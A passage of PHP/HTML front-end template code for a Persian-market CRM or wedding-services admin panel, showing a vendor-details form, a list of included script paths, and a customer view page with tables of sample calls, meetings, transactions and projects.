name="userName" type="email"
placeholder="..........<EMAIL>">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control"
name="example-textarea-input" rows="6"
placeholder="text here.."
id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab22">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Address">Address :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-map-signs tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker"
id="Address" type="text">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="Descriptions">Map :</label>
</div>
<div class="col-lg-9">
<div class="map-header">
<div class="map-header-layer" id="map2"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab33">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Type
:</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>Wedding hall</option>
<option>Hairdresser</option>
<option>wedding accessories</option>
<option>Car Decoration</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Capacity
:</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name"
name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Professional
Staff :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Decoration
:</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Cleaning
& Maintenance :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Easy
Catering Service :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Workflow
Of Management :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Convenient
Location & Parking :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab44">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Rate
:</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option></option>
<option></option>
<option></option>
<option></option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix ">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Financial
method :</label>
</div>
<div class="col-lg-8">
<select class="form-control" id="ProjectManager">
<option>commission (percentage)</option>
<option>Fixed (constant amount)</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Executive
manager :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name"
name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-4">
<label class="control-label form-label font-weight-bold">Office
direct tel :</label>
</div>
<div class="col-lg-8">
<input class="form-control required" id="Name"
name="userName" type="text">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/peitychart/jquery.peity.min.js',
'/assets/js/apexcharts.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/plugins/chart/utils.js',
'/assets/plugins/input-mask/jquery.mask.min.js',
'/assets/plugins/counters/counterup.min.js',
'/assets/plugins/counters/waypoints.min.js',
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/js/custom.js',
'http://maps.google.com/maps/api/js?key=<KEY>',
'/assets/plugins/maps-google/jquery.googlemap.js',
'/assets/plugins/maps-google/map.js',
'/assets/plugins/jvectormap/jquery-jvectormap-2.0.2.min.js',
'/assets/plugins/jvectormap/jquery-jvectormap-world-mill-en.js',
'/assets/plugins/jvectormap/gdp-data.js',
'/assets/plugins/jvectormap/jquery-jvectormap-us-aea-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-uk-mill-en.js',
'/assets/plugins/jvectormap/jquery-jvectormap-au-mill.js',
'/assets/plugins/jvectormap/jquery-jvectormap-ca-lcc.js',
'/assets/js/jvectormap.js',
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/js/main.js',
'/assets/js/index3.js',
];
?>
<file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Customer View</h4>
<div class="float-right ml-auto">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#information-modal" class="btn btn-warning"><i
class="fas fa-eye"></i> Information</a>
</div>
<div class="float-right ml-1">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary"><i
class="fas fa-pen"></i> Edit</a>
</div>
</div>
</div>
<!--page header-->
<div class="row">
<div class="col-4">
<div class="card ">
<div class="card-body text-center pt-3 ">
<a href="#">
<span class="avatar avatar-xl brround cover-image m-2"
data-image-src="../assets/images/photos/pro7.jpg">
<span class="avatar-status bg-red"></span>
</span>
</a>
<h5 class="mt-3 mb-0"><a class="hover-primary" href="#"><NAME></a></h5>
<span>Employee</span>
<div>
<span class="badge badge-default">designer</span>
</div>
<div class="mt-4 mb-5">
<button href="#" class="btn-pill btn-outline-dark btn-sm font-weight-bold "><i
class="fas fa-eye"></i></button>
<button href="#" class="btn-pill btn-outline-success btn-sm font-weight-bold"><i
class="fas fa-phone"></i></button>
<button href="#" class="btn-pill btn-outline-warning btn-sm font-weight-bold"><i
class="fas fa-envelope"></i></button>
</div>
</div>
</div>
</div>
<div class="col-8">
<div class="row">
<div class="col-6">
<div class="card bg-primary text-white">
<div class="card-body dash2">
<i class="fas fa-file-invoice-dollar"></i>
<span class="count-numbers counter">5</span>
<span class="count-name">Total Invoices</span>
</div>
</div>
</div>
<div class="col-6">
<div class="card bg-primary text-white">
<div class="card-body dash2">
<i class="fas fa-wallet"></i>
<span class="count-numbers counter">8,560,000</span>
<span class="count-name">Invoices Value</span>
</div>
</div>
</div>
<div class="col-6">
<div class="card bg-primary text-white">
<div class="card-body dash2">
<i class="far fa-handshake"></i>
<span class="count-numbers counter">6</span>
<span class="count-name">Meetings</span>
</div>
</div>
</div>
<div class="col-6">
<div class="card bg-primary text-white">
<div class="card-body dash2">
<i class="fas fa-phone-square"></i>
<span class="count-numbers counter">40</span>
<span class="count-name">Calls</span>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<div class="mini-stat clearfix bg-primary rounded">
<span class="mini-stat-icon"><i class="fas fa-brain text-primary"></i></span>
<div class="mini-stat-info text-white">
<span>Mentalities</span>
<div>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Happy</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Social</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Dreamer</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Lazy</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Follower</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Business</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Envy</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Fear</a>
<a class="btn btn-xs fs-10 btn-bold btn-outline-secondary mr-1" href="#">Growth</a>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-body p-5">
<div class="panel panel-primary">
<div class="p-3 ">
<div class="tabs-menu">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab1" class="active font-weight-bold"
data-toggle="tab">Calls</a></li>
<li class=""><a href="#tab2" class="font-weight-bold"
data-toggle="tab">Meetings</a></li>
<li class=""><a href="#tab3" class="font-weight-bold"
data-toggle="tab">Transactions</a></li>
<li class=""><a href="#tab4" class="font-weight-bold"
data-toggle="tab">Projects</a></li>
<li class=""><a href="#tab5" class="font-weight-bold"
data-toggle="tab">Deals</a></li>
<li class=""><a href="#tab6" class="font-weight-bold"
data-toggle="tab">Polls</a></li>
<li class=""><a href="#tab7" class="font-weight-bold"
data-toggle="tab">Invoices</a></li>
<li class=""><a href="#tab8" class="font-weight-bold"
data-toggle="tab">Companies</a></li>
<li class=""><a href="#tab9" class="font-weight-bold"
data-toggle="tab">Contracts</a></li>
<li class=""><a href="#tab10" class="font-weight-bold"
data-toggle="tab">Payment Request</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="table-responsive ">
<table id="example-12" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Topic</th>
<th class="wd-25p border-bottom-0 text-center">Call Method</th>
<th class="wd-25p border-bottom-0 text-center">From</th>
<th class="wd-25p border-bottom-0 text-center">To</th>
<th class="wd-25p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Time</th>
<th class="wd-25p border-bottom-0 text-center">Result
</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center"></th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
</tbody>
</table>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
<div class="tab-pane" id="tab2">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-10p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">From time</th>
<th class="wd-25p border-bottom-0 text-center">Duration Time</th>
<th class="wd-15p border-bottom-0 text-center">Meeting Leader</th>
<th class="wd-25p border-bottom-0 text-center">Place</th>
<th class="border-bottom-0 text-center">Status</th>
<th></th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#meeting-edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
<div class="tab-pane" id="tab3">
<div class="table-responsive ">
<table id="example-3" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-15p border-bottom-0 text-center">Amount</th>
<th class="wd-10p border-bottom-0 text-center">Date</th>
<th class="wd-10p border-bottom-0 text-center">Time</th>
<th class="wd-10p border-bottom-0 text-center">Payment Request</th>
<th class="wd-15p border-bottom-0 text-center">From</th>
<th class="wd-20p border-bottom-0 text-center">To</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Withdraw</td>
<td class="text-center">1,200 $</td>
<td class="text-center">12 February 2020</td>
<td class="text-center">08:40 PM</td>
<td class="text-center">54654</td>
<td class="text-center">Somaie<NAME>ami</td>
<td class="text-center">Kos<NAME></td>
<td class="text-center">Shariati</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr>
<td class="text-center">Withdraw</td>
<td class="text-center">3,400 $</td>
<td class="text-center">29 July 2020</td>
<td class="text-center">00:20 PM</td>
<td class="text-center">456456</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Valiasr</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr>
<td class="text-center">Deposit</td>
<td class="text-center">660 $</td>
<td class="text-center">08 February 2018</td>
<td class="text-center">05:35 PM</td>
<td class="text-center">456456</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Velenjak</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr>
<td class="text-center">Withdraw</td>
<td class="text-center">4,000 $</td>
<td class="text-center">23 January 2015</td>
<td class="text-center">10:50 AM</td>
<td class="text-center">456456</td>
<td class="text-center">ُAli Azimi</td>
<td class="text-center"><NAME></td>
<td class="text-center">Bazar</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr>
<td class="text-center">Deposit</td>
<td class="text-center"> 7,300 $</td>
<td class="text-center">27 January 2019</td>
<td class="text-center">06:55 AM</td>
<td class="text-center">456456</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Valiasr</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
</tbody>
</table>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
<div class="tab-pane" id="tab4">
<div class="table-responsive ">
<table id="example-4" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Name</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-10p border-bottom-0 text-center">Hold Date</th>
<th class="wd-10p border-bottom-0 text-center">Tags</th>
<th class="wd-15p border-bottom-0 text-center">Project Leader</th>
<th class="wd-15p border-bottom-0 text-center">Product Owner</th>
<th class="wd-25p border-bottom-0 text-center">Current milestone</th>
<th class="wd-20p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Progress</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 February 2020</td>
<td class="text-center">formality</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">3 out of 10</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-95 font-weight-bold ">95%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">29 June 2020</td>
<td class="text-center">wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center">Pooneh Saber</td>
<td class="text-center">2 out of 15</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-35 font-weight-bold ">35%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">12 December 2019</td>
<td class="text-center">wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">6 out of 9</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-warning w-40 font-weight-bold ">40%
</div>
</div>
</td>
<td class="text-center">Pending</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">22 March 2019</td>
<td class="text-center">wedding</td>
<td class="text-center">Ebrah<NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">14 out of 14</td>
<td class="text-center">Khaghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-red w-15 font-weight-bold ">15%
</div>
</div>
</td>
<td class="text-center">Completed</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center">Fateme<NAME></td>
<td class="text-center">06 May 2019</td>
<td class="text-center">wedding</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">9 out of 9</td>
<td class="text-center">Khaghani</td>
<td class="text-center">
<div class="progress progress-md mb-3">
<div class="progress-bar bg-success w-70 font-weight-bold ">70%
</div>
</div>
</td>
<td class="text-center">Completed</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/project-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">17 April 2019</td>
<td class="text-center">formality</td>
